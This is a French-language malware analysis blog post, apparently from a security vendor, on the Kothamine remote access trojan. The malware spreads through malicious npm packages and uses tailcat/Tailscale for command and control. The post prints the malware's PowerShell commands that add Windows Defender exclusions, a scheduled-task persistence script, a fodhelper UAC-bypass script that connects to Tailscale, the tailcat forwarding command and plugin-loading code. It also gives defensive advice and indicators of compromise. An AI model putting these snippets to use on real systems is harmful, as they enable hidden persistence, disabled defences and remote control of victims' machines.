Nous avons découvert un cheval de Troie d'accès à distance (RAT) non documenté, appelé Kothamine Agent . Il prend en charge plus de 30 commandes et permet aux attaquants de contrôler un système infecté. Windows Sur ordinateur, ils peuvent exécuter des commandes, lire et modifier des fichiers, et ajouter de nouvelles fonctionnalités. Certaines versions peuvent également voler des données de navigation et enregistrer des conversations via la caméra et le microphone.
Nous avons constaté que Kothamine était lié à des paquets npm malveillants, ce qui pourrait exposer les utilisateurs et les développeurs qui installent ces paquets à des risques. Dans ses versions récentes, ce logiciel malveillant utilise tailcat , un outil open source de Tailscale, pour recevoir des commandes via une connexion chiffrée. Cela rend ses communications plus difficiles à inspecter et empêche les équipes de sécurité d'identifier un domaine de commande et de contrôle (C2) classique à bloquer.
D'après les analyses VirusTotal et les commits GitHub, Kothamine semble être en développement ou en distribution depuis au moins juillet. Les versions précédentes utilisaient Tailscale. VPN au lieu de tailcat. Selon sa configuration, le logiciel malveillant intègre les outils réseau ou les télécharge depuis des sources telles que GitHub.
Comment rester en sécurité
Avant d'installer un paquet npm inconnu, vérifiez son dépôt, ses responsables, ses dépendances et ses dernières versions. Recherchez les signalements d'activités malveillantes et privilégiez les paquets ayant un historique établi et une maintenance régulière.
- Vérifiez attentivement le nom. Assurez-vous de ne pas télécharger un faux fichier portant un nom similaire.
- Vérifiez le développeur ou l'organisation et assurez-vous que l'éditeur semble légitime. Vérifiez, par exemple, s'il possède un site web ou un dépôt GitHub.
- Consultez les avis, les problèmes et les rapports. Recherchez le nom du package sur Google et vérifiez s'il y a des rapports faisant état de logiciels malveillants potentiels.
- Voyez sa popularité. Un paquet ayant de nombreux téléchargements et utilisateurs est généralement plus facile à vérifier qu'un paquet tout neuf sans historique.
Analyse technique
Kothamine et les packages npm malveillants
Kothamine est écrit en C et C++. Dans la plupart des échantillons analysés, il se compose d'un injecteur et d'une DLL contenant l'agent. Ce dernier prend en charge plus de 30 commandes, permettant à l'opérateur de contrôler le système infecté et de charger des DLL supplémentaires pour étendre ses fonctionnalités.

L'agent Kothamine a subi quelques modifications au fil du temps. Les versions précédentes que nous avons trouvées sur VirusTotal utilisaient Tailscale. VPN Au lieu de tailcat, les chaînes de caractères n'étaient pas chiffrées. Certaines fonctionnalités, comme le contournement du contrôle de compte d'utilisateur (UAC) et les commandes de vol de données, n'ont été détectées que dans certaines versions.
Dans certaines versions, Kothamine téléchargeait les fichiers Tailscale depuis le site web officiel de Tailscale ou un dépôt GitHub au lieu de les inclure dans l'agent.
Le même dépôt GitHub est cité dans un avis à propos d'un package npm malveillant nommé dotnet-runtime-baseLe téléchargement du package npm-sc-legit.exe de ce dépôt. Au moment de la rédaction, deux autres paquets publiés par le même développeur avaient été supprimés.

Les auteurs de ces campagnes ont commis une erreur et ont publié des instructions pour la compilation kothamine-stub-cpp dans l'un des packages. Le guide aborde également le chargement des assemblys .NET, que nous n'avons pas observés dans les exemples analysés.

Le npm-sc-legit.exe L'exécutable est une version compilée de Kothamine qui contient également des commandes permettant de voler des données. Nous n'avons trouvé ni interface ni outil de création pour Kothamine, mais les fonctionnalités présentes dans les différentes versions suggèrent que les opérateurs peuvent activer des fonctions et des commandes spécifiques selon leurs besoins.

L'analyse suivante porte sur un échantillon récent d'agent Kothamine qui utilise tailcat pour la communication C2.
Comment fonctionne l'agent Kothamine
Dans les versions analysées, un exécutable appelé en interne Kothamine Injector injecte la DLL de l'agent Kothamine, généralement dans explorer.exeNous faisons également référence aux versions précédentes pour montrer comment l'agent a évolué.
1. Injecteur de kothamine
L'injecteur de kothamine effectue les opérations suivantes :
- Ajoute Windows Exclusions Defender via PowerShell
- Se copie lui-même
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrait la DLL de l'agent vers
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Crée
up.ps1dans%TEMP%pour la persistance - Injecte la DLL de l'agent dans
explorer.exeen utilisantOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, etLoadLibraryA

explorer.exe Le up.ps1 Le script crée une tâche planifiée pour assurer la persistance à l'aide de l'exécutable Injector :
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2. Agent Kothamine
Agent de démarrage
L'agent crée un mutex nommé Local\KothamineAgentInstance et lance son fil principal.
Il exécute ensuite des commandes PowerShell pour ajouter l'exécutable et la DLL au Windows Liste d'exclusion Defender :
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
Dans les versions précédentes, les chaînes de caractères n'étaient pas chiffrées. Les versions récentes les déchiffrent directement ou via des fonctions utilisant l'opération XOR avec une clé différente pour chaque chaîne.


Communication C2 via Tailcat
La particularité de Kothamine ne réside pas dans sa complexité technique, les fonctionnalités de l'agent ou son obfuscation, mais dans son utilisation de tailcat et Tailscale. VPN pour recevoir des commandes à exécuter. Cela offre à l'agent un canal de communication crypté et résilient.
Tailcat est un projet open source récent, développé par l'équipe Tailscale. Il utilise le plan de données de Tailscale (WireGuard, traversée NAT et DERP) mais pas son plan de contrôle. D'après la documentation officielle, Tailcat ne possède donc ni adresses IP, ni comptes, ni administrateurs, ni utilisateurs, ni contrôles d'administration, ni système de gouvernance. Ces caractéristiques en font un outil de choix pour les logiciels malveillants.
Contrairement à Tailscale VPN Tailcat ne nécessite ni compte ni enregistrement d'appareil. Ses développeurs l'ont conçu pour des connexions éphémères.
En l'absence de comptes, l'accès repose sur la possession d'une adresse de suivi et des clés publiques permettant d'identifier les appareils connectés. La connexion n'est toutefois pas totalement anonyme : les relais hébergés peuvent conserver des journaux de métadonnées.
Le tc-address L'option `forward` permet au client d'obtenir les informations nécessaires pour acheminer correctement la requête. De plus, tailcat ne requiert pas d'accès privilégié à la machine, car il utilise l'interface en ligne de commande et des bibliothèques espace utilisateur.
Dans les versions récentes de Kothamine, l'agent extrait tailcat de ses ressources et le sauvegarde en tant que %ROAMING%\TailscalePortable\tailcat.exe.

Le fichier exécutable tailcat est lancé avec le CreateProcessA fonction et les paramètres suivants (appelés en interne spawn_tailcat_forward phase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Cette commande rend les ports du serveur tailcat disponibles en tant que ports TCP locaux standard (18080 dans ce cas) et les requêtes sont transmises au port 4444 du nœud de l'opérateur. Kothamine utilise des fonctions de socket pour se connecter à 127.0.0.1:18080, là où Tailcat écoute.
Si la chaîne d'identification de l'agent n'est pas vide, l'agent envoie une requête de profil chiffrée contenant les informations suivantes (run_c2_loop phase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
Ensuite, l'agent entre dans une boucle infinie pour recevoir des commandes à exécuter du C2 (run_c2_loop phase). L'agent attend que de nouvelles commandes s'exécutent en utilisant le select La fonction socket envoie périodiquement des messages KEEP-ALIVE si aucune commande n'est reçue.
Les messages échangés avec le C2 sont chiffrés et déchiffrés à l'aide d'AES-GCM (aes_encrypt phase).
La clé AES de 32 octets est décodée en base64 à partir de la chaîne (c2_key phase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Commandes prises en charge
Dans cette version, l'agent Kothamine prend en charge 30 commandes. lié à :
- Interaction avec les processus
- Interaction avec les fichiers et les répertoires
- Exécuter des commandes shell
- Étendre les capacités de l'agent en fonction des DLL reçues
| Nom de la commande | Description |
sysinfo/systeminfo, curpid | Renvoyer les informations système, telles que le PID, le chemin actuel, le nom d'hôte et le système d'exploitation (codé en dur). |
tasklist, kill | Renvoie les processus obtenus via « tasklist /FO CSV /NH ». Termine le processus spécifié par le PID à l'aide de « taskkill /F /PID ». |
ping | Test de disponibilité, « Pong » retourne en C2. |
ipconfig | Exécute la commande « ipconfig /all » et renvoie le résultat. |
exec, shell_exec | Exécute des commandes shell avec _popen() et renvoie le résultat. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interagit avec les fichiers et les dossiers du système. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Lit, écrit et supprime des fichiers arbitraires. |
load_feature | Écrit et charge une DLL encodée en base64 reçue. La DLL est chargée à l'aide de LoadLibraryA , et la méthode « GetFeatureApi », résolue via GetProcAddress , est exécutée. Sauvegarde les pointeurs de fonction nécessaires à l'exécution de la fonction. |
exec_feature, features, list_features, unload_feature | Il interagit avec les fonctionnalités chargées pour les visualiser, les exécuter ou les supprimer. |
Étant donné que les autres commandes sont communes aux autres agents, l'analyse se concentre sur le système de « plugins » qui permet à l'opérateur de recevoir des DLL et d'étendre les fonctionnalités de l'agent.
Système de plugins
Pour charger une nouvelle DLL, l'opérateur utilise la commande :
load_feature <name> <B64EncodedDLL>
De manière générale, le processus fonctionne comme suit. Le code et les noms de variables ci-dessous sont reconstitués à partir des journaux d'utilisation et de sortie.
- Tout d'abord, l'agent vérifie si la fonctionnalité a déjà été chargée et la décharge le cas échéant :
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Il tente de créer la DLL reçue à un emplacement obtenu via
GetTempPathouSHGetFolderPathA, ou dans le chemin codé en durC:\Windows\TempIl écrit la DLL décodée et la charge avecLoadLibraryA.
- Résout et exécute le
GetFeatureApiméthode de la DLL chargée :
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
Nous n'avons pas trouvé de DLL permettant d'analyser entièrement la structure renvoyée par GetFeatureApiCependant, en analysant le code et les chaînes de caractères, nous avons identifié les champs suivants :
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Les pointeurs vers la DLL chargée et la structure renvoyée sont enregistrés dans la variable globale. variable appelée en interne g_features, en utilisant cette structure :
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Exécute le
initfonction contenue dans la structure renvoyée, en lui passant la fonction utilisée pour la communication C2 :
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Une fois la fonctionnalité chargée, l'opérateur peut l'exécuter à l'aide de la commande :
exec_feature <functionName> [args]

exec fonctionDifférentes configurations de Kothamine : Écailles de queue VPN , Contournement du contrôle de compte d'utilisateur (UAC) et commandes de vol
Comme mentionné précédemment, nous avons détecté des versions de Kothamine dotées de capacités différentes.
Les versions précédentes utilisaient l'échelle de queue VPN avant la sortie de Tailcat. Ils ont téléchargé et exécuté le programme d'installation depuis le site web de Tailscale avec le /quiet et /silent des drapeaux, ou téléchargé les fichiers requis directement depuis GitHub. Ceux-ci comprenaient tailscaled.exe, tailscale.exe, tailscale-ipn.exe, et wintun.dll.

Certaines versions contournent le contrôle de compte d'utilisateur (UAC) en utilisant fodhelper.exe courir elevated.ps1Dans l'exemple ci-dessous, le script PowerShell lance une instance Tailscale. VPN connexion:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
L'agent se connecte ensuite au port 4444 à une adresse IP du réseau Tailscale (100.x.x.x) et commence à recevoir et à exécuter des commandes.

fodhelper.exeEnfin, comme nous l'avons mentionné précédemment, différentes versions de Kothamine prennent en charge d'autres commandes. Par exemple, la version disponible sur GitHub inclut des commandes supplémentaires, notamment : getdiscord, getsessions, screenshot, screenshare, et cameraCes fonctionnalités permettent aux opérateurs de :
- Voler des cookies depuis différents navigateurs
- Voler des fichiers JSON liés aux jeux vidéo, notamment ceux associés à Steam et Minecraft.
- Prenez des captures d'écran et enregistrez via la caméra et le microphone.
- Accéder au contenu du presse-papiers
Indicateurs de compromis
Hachages SHA-256
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0L'injecteur de kothamine analysé dans le blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cL'agent Kothamine est analysé dans le blog.
URL
https://github[.]com/cphc811-ui/Dépôt utilisé pour télécharger les fichiers exécutables et les DLL associés à Tailscale VPN
Remerciements
Avis de Mondoo sur le package npm analysé .
Naviguez comme si personne ne vous regardait.
Malwarebytes Privacy VPN Votre connexion est chiffrée et aucune trace de votre activité n'est enregistrée. Ainsi, votre prochaine lecture restera impersonnelle. Essayez-le gratuitement →




